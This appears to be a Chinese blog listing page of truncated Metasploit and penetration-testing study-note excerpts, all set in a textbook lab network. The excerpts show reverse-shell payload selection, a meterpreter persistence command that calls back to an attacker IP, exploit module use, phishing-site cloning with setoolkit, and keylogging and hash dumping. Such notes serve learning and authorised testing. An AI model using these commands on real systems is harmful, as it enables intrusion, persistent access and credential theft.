Metasploit学习笔记——社会工程学

1.社会工程学攻击案例——伪装木马 Linux命令终端输入命令msfvenom -l payloads用来列出攻击载荷,grep命令用来查询所需要的攻击载荷,条件是windows系统.要有回连至监听主机的能力.支持后渗透攻击功能,示例代码如下 root@kali:~# msfvenom -l payloads|grep 'windows'|grep 'reverse_tcp'|grep 'meterpreter' windows/meterpreter/reverse_tcp …

metasploit 学习笔记-VULNERABILITY SCANNING

使用漏洞扫描器会在网络上产生大量流量，因此如果你不希望被发现踪迹时，不要使用漏洞扫描器。 The Basic Vulnerability Scan 漏洞扫描器的质量很大程度上取决于它自带的漏洞特征库。实用的漏洞扫描器：NeXpose、Nessus和一些专门的扫描器。（1）NeXpose 可以使用独立版本的nexpose,也可以使用metasploit内置的nexpose。（2）Nessus （3）专用扫描器：验证SMB登录： msf > use auxiliary/scanner/smb…

Metasploit学习笔记之——情报搜集

1.情报搜集 1.1外围信息搜索 1.1.1通过DNS和IP地址挖掘目标网络信息 (1)whois域名注冊信息查询(BT5.kali专有):root@kali:~# whois testfire.net s (2)nslookup与dig域名查询(查询域名相应的IP地址):msf > nslookup > set type=A > testfire.net msf > dig 注:nslookup仅仅能得到DNS解析server保存在Cache中的非权威解答,dig则能够从该域名…

Metasploit学习笔记（博主推荐）

不多说,直接上干货! 连接后台的数据库,当然不是必须品. 连接数据库的好处:1.可以攻击和扫描的结果,保存起来 2.将一些搜索结果做个缓存默认数据库是postgresql. 同时要注意的是:在kali linux系统中,不需再安装postgresql和mestasploit. 如果你用的是其他系统的话,有可能还需要下载安装. 查看 postgresql 是否启动,没有启动的话,使用 service postgresql start 命令启动.启动后查看是否启动成功,端口是 5432…

Metasploit学习笔记

原创博客,转载请注出处! 各位看官可参看——Metasploit实验操作 1.打开msf msfconsole2.帮助选项: msfconsole -h 显示在msfconsole初始化的选项和参数在进入msfconsole后键入help 显示的是进入msfconsole后可用的选项3.参数: back 用于返回.例如进入了一个漏洞模块后但是想重新选择另一个漏洞模块此时可以使用back参数 eg.开始进入ms08_067_netapi…

Metasploit学习笔记（一） Samba服务 usermap_script安全漏洞相关信息

一.Samba介绍 Samba是linux和unix系统上实现smb协议的一个免费软件,由客户机和服务器构成.SMB是一种在局域网上实现共享文件和打印机的协议.存在一个服务器,客户机通过该协议可以服务器上的共享文件系统和打印机以及其他的资源.通过设置,还可以和全世界的电脑分享资源二.Username map script 是什么 Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行影响Samba的3.0.20到3.0.25rc3 版本当使用非默认的用户名映射…

Metasploit学习笔记——强大的Meterpreter

1. Meterpreter命令详解 1.1基本命令使用Adobe阅读器渗透攻击实战案例打开的Meterpreter会话实验,靶机是WinXP.由于所有命令与书中显示一致,截图将书中命令记录下来. 1.2文件系统命令 1.3网络命令 1.4系统命令 2.后渗透攻击模块 2.1persistence后渗透攻击模块示例代码如下 meterpreter > run persistence -X -i 5 -p 443 -r 10.10.10.128 [!] Meterpreter scripts…

Metasploit学习笔记——客户端渗透攻击

1.浏览器渗透攻击实例——MS11-050安全漏洞示例代码如下 msf > use windows/browser/ms11_050_mshtml_cobjectelement msf exploit(windows/browser/ms11_050_mshtml_cobjectelement) > info Name: MS11-050 IE mshtml!CObjectElement Use After Free Module: exploit/windows/browser/ms11_…

Metasploit学习笔记——网络服务渗透攻击

1.内存攻防技术 1.1缓冲区溢出漏洞机理 1.2栈溢出利用机理 1.3缓冲区溢出利用的限制条件 2.网络服务渗透攻击面 3. Windows服务渗透攻击实战案例——MS08-067安全漏洞示例代码如下 msf > search ms08_067 在metasploit框架中查找ms08_06 netapi攻击模块 Matching Modules ================ Name Disclosure Date…

Metasploit学习笔记——Web应用渗透技术

1.命令注入实例分析对定V公司网站博客系统扫描可以发现,它们安装了zingiri-web-shop这个含有命令注入漏洞的插件,到www.exploit-db.com搜索,可以看到2011.11.13网站公布了php渗透代码. 把这个代码放到kali中,执行命令php 18111.php 10.10.10.129 /wordpress/成功得到目标主机Shell,并能执行相关命令 2.文件包含和文件上传漏洞查看定V公司博客源代码可以发现后台使用了插件——1 Flash Gallery Word…

Metasploit学习笔记——情报搜集技术（只记录与metasploit有关的）

1.外围信息搜集 1.1whois域名注册信息查询示例代码如下 msf > whois testfire.net 1.2网站的目录结构示例代码如下 msf > use auxiliary/scanner/http/dir_scanner msf auxiliary(scanner/http/dir_scanner) > set THEREADS 50 THEREADS => 50 msf auxiliary(scanner/http/dir_scanner) > set…

Metasploit学习笔记——环境配置

<Metasploit渗透测试魔鬼训练营>书56页开始配置网络环境,一共五台机器,攻击机换成了自己更常用的kali,配置方法和back track相同. kali(攻击机) 10.10.10.128 attacker.dvssc.com root/root OWASP BWA(模拟定V安全公司DMZ区中的门户网站服务器) 10.10.10.129 www.dvssc.com root/owaspbwa Win2k3(模拟定V安全公司DMZ区中的后台服务器) 10.10.10.130 servi…

Metasploit学习笔记(一)

1.更新 apt-get update:更新源 apt-get upgrade:更新软件包 apt-get dist-upgrade:升级系统 2. Metasploit基础 2.1专业名词 Auxiliaries(辅助模块) 扫描,嗅探,指纹识别 Exploit(漏洞利用模块) 针对漏洞进行攻击 Payload:目标被渗透之后的完成实际攻击功能的代码如添加一个用户,关机等等 Post(后期渗透模块): 后渗透的一些攻击:获取敏感信息,实现天半攻击等 Encoders:免杀,混淆 2.2 渗透步…

Metasploit学习笔记——移动环境渗透测试

书364页配置假冒AP步骤,因为没有无线网卡,先跳过这个实验.…

基础学习：社会工程学---利用Kali下的setoolkit进行钓鱼网站制作

利用Kali下的setoolkit进行钓鱼网站制作 1.打开kali2019,输入setoolkit,打开setoolkit模块 2.输入命令1,进入钓鱼攻击页面 3.输入命令2,进入web钓鱼攻击页面 4.输入命令3,进入到设置钓鱼页面选项 5.输入命令2,进入到克隆网页界面,回车继续,设置网页如下,我们用origin为例 6.回车开始进行克隆,一直回车直到如下界面 7.在网页输入Kali Ip地址,即可发现克隆的网页内容 8.输入账号密码,查看效果,后期可以利用内网穿透或者DNS域名更改,可…

metasploit.meterpreter学习笔记（博主推荐）

Metasploit学习笔记(博主推荐) 继续上面的博客 metasploit.meterpreter的基本使用: 首先来获取当前系统(即xp)下的正在运行的一些进程获得进程之后,我们通过migrate来注入到其中的一个进程里面去. 那么使用哪一个进程呢?最好去选择就是桌面程序. 即,目标主机XP系统那边,的键盘记录,都将会存在这个文件里. 好的,去XP系统那边,随便输入啥吧 501代表权限,不是真实的哈希值. 有了这个哈希值的用途 (1): 可以找一些在线的破解网端.可以直接破解出来 (2)…

《metasploit渗透测试魔鬼训练营》学习笔记第七章--社会工程学

五.社工工程学 5.1社会工程系框架 5.1.1信息搜集 maltego是一个高度自动化的信息搜集工具,集成在BT5中,如果国内网络环境使用时无法获取结果,可能是无法与信息提供网站建立连接,可以使用VPN或代理服务器. 5.1.2诱导 1.提高诱导能力表现自然,学习知识,不要贪心. 2.成功诱导的技巧 …

《metasploit渗透测试魔鬼训练营》学习笔记第六章--客户端渗透

四.客户端攻击客户端攻击与服务端攻击有个显著不同的标识,就是攻击者向用户主机发送的恶意数据不会直接导致用户系统中的服务进程溢出,而是需要结合一些社会工程学技巧,诱使客户端用户去访问这些恶意数据,间接发生攻击. 4.1客户端渗透攻击的安全防护机制 ①DEP DEP(数据执行保护)基本原理是操作系统通过设置内存页的属性,指明数据所在的内存页为不可执行. ②ASLR …

《metasploit渗透测试魔鬼训练营》学习笔记第三章----情报搜集

Kali渗透测试系统集成了metasploit开源的漏洞测试框架,是渗透测试必备的神器.下面是我在学习metasploit的笔记,有什么错误的地方请指出来,我会立即纠正的~ 一.情报搜集 1.外围信息搜集外围信息搜集又叫公开渠道信息搜集.搜索引擎,公共信息库,目标门户网站等等都是很好的入手点.metasploit有一类“辅助模块”,可以帮助你进行信息搜集的工作,并且还集成了nmap等神器. 1.1通过DNS和IP挖掘目标网站的信息 ①who…

MetaSploit攻击实例讲解------社会工程学set攻击（kali linux 2016.2(rolling)）（详细）

不多说,直接上干货! 首先,如果你是用的BT5,则set的配置文件是在 /pentest/exploits/set/set_config下. APACHE_SERVER=ONSELF_SIGNED_APPLEF=ONAUTO_DETECT=ON 如果,你也是跟我一样,使用的是kali linux 2016.2(rolling),则set的安装目录默认是在这也是本博文的重心.默认现在,是不需如BT5那样配置了. 社会工程学工具包(SET)是一个开源的.Python驱动的社会工程学渗透测试工具.这…

Cobalt Strike学习笔记

Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑:钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等.Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions. Cobalt Strike,据说现在最新版为3.9,主要分…

msf学习笔记

metasploit frame 这是一个渗透测试框架,围绕这个框架,我们就可以完成最终的目标,即渗透测试. 渗透测试者困扰:需要掌握数百个工具,上千条命令参数,很难记住. 新出现的漏洞PoC/EXP有不同的运行环境要求,准备工作繁琐. 大部分时间都在学习不同工具的使用习惯,如果能统一就好了. MSF默认集成在Kali linux之中,使用postgresql数据库存储数据. MSF::Core:最底层的库,提供Msf的核心基本API,是框架的核心能力实现库. MSF::Base:基于Core库…

【Metasploit学习笔记——社会工程学】的更多相关文章